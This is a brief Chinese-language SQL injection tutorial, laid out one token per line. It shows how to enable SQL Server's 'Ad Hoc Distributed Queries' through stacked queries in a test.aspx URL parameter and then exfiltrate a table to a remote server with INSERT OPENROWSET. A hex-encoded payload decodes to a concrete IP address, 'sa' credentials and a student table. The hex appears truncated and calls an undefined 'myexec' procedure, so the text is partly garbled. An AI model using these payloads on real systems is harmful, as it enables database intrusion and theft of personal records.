-
【
1
】
exec
sp_configure
'show advanced options'
,
1
-
【
2
】
reconfigure
-
【
3
】
exec
sp_configure
'Ad Hoc Distributed Queries'
,
1
-
【
4
】
reconfigure
注入点的权限要高,sql server dba的权限,然后开启sql server的远程调用:
对应的利用过程是:
-
【
1
】:
http
://
localhost
/
test
.
aspx
?
type
=
1
;
exec
/*(*/
sp_configure
'show advanced options'
,
1
-
【
2
】:
http
://
localhost
/
test
.
aspx
?
type
=
1
;
reconfigure
-
【
3
】:
http
://
localhost
/
test
.
aspx
?
type
=
1
;
exec
/*(*/
sp_configure
'Ad Hoc Distributed Queries'
,
1
-
【
4
】:
http
://
localhost
/
test
.
aspx
?
type
=
1
;
reconfigure
然后,就可以愉快的远程脱裤了,用这个函数脱裤:
-
insert openrowset
(
'SQLOLEDB '
,
'ip地址 '
;
'数据库用户名'
;
'数据库密码'
,远程数据库名.
dbo
.
tmp
)
select
*
from
要拖的数据库的表名
这个转换成hex就是:
-
0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475
注意,远程的数据库的表的列数和要拖的数据库的表的列数要保持一致,表名可以和要拖的数据库的表名不一样,字段名也可以不一样
然后在注入点执行:
-
http
://
localhost
/
test
.
aspx
?
type
=
1
;
exec
/*(*/
myexec
0x696e73657274206f70656e726f7773657428202753514c4f4c45444220272c20273131352e34372e35332e31313920273b20277361273b20276a7578696e333136272c6873722e64626f2e746d70292073656c656374202a66726f6d2073747564656e742e64626f2e6d79737475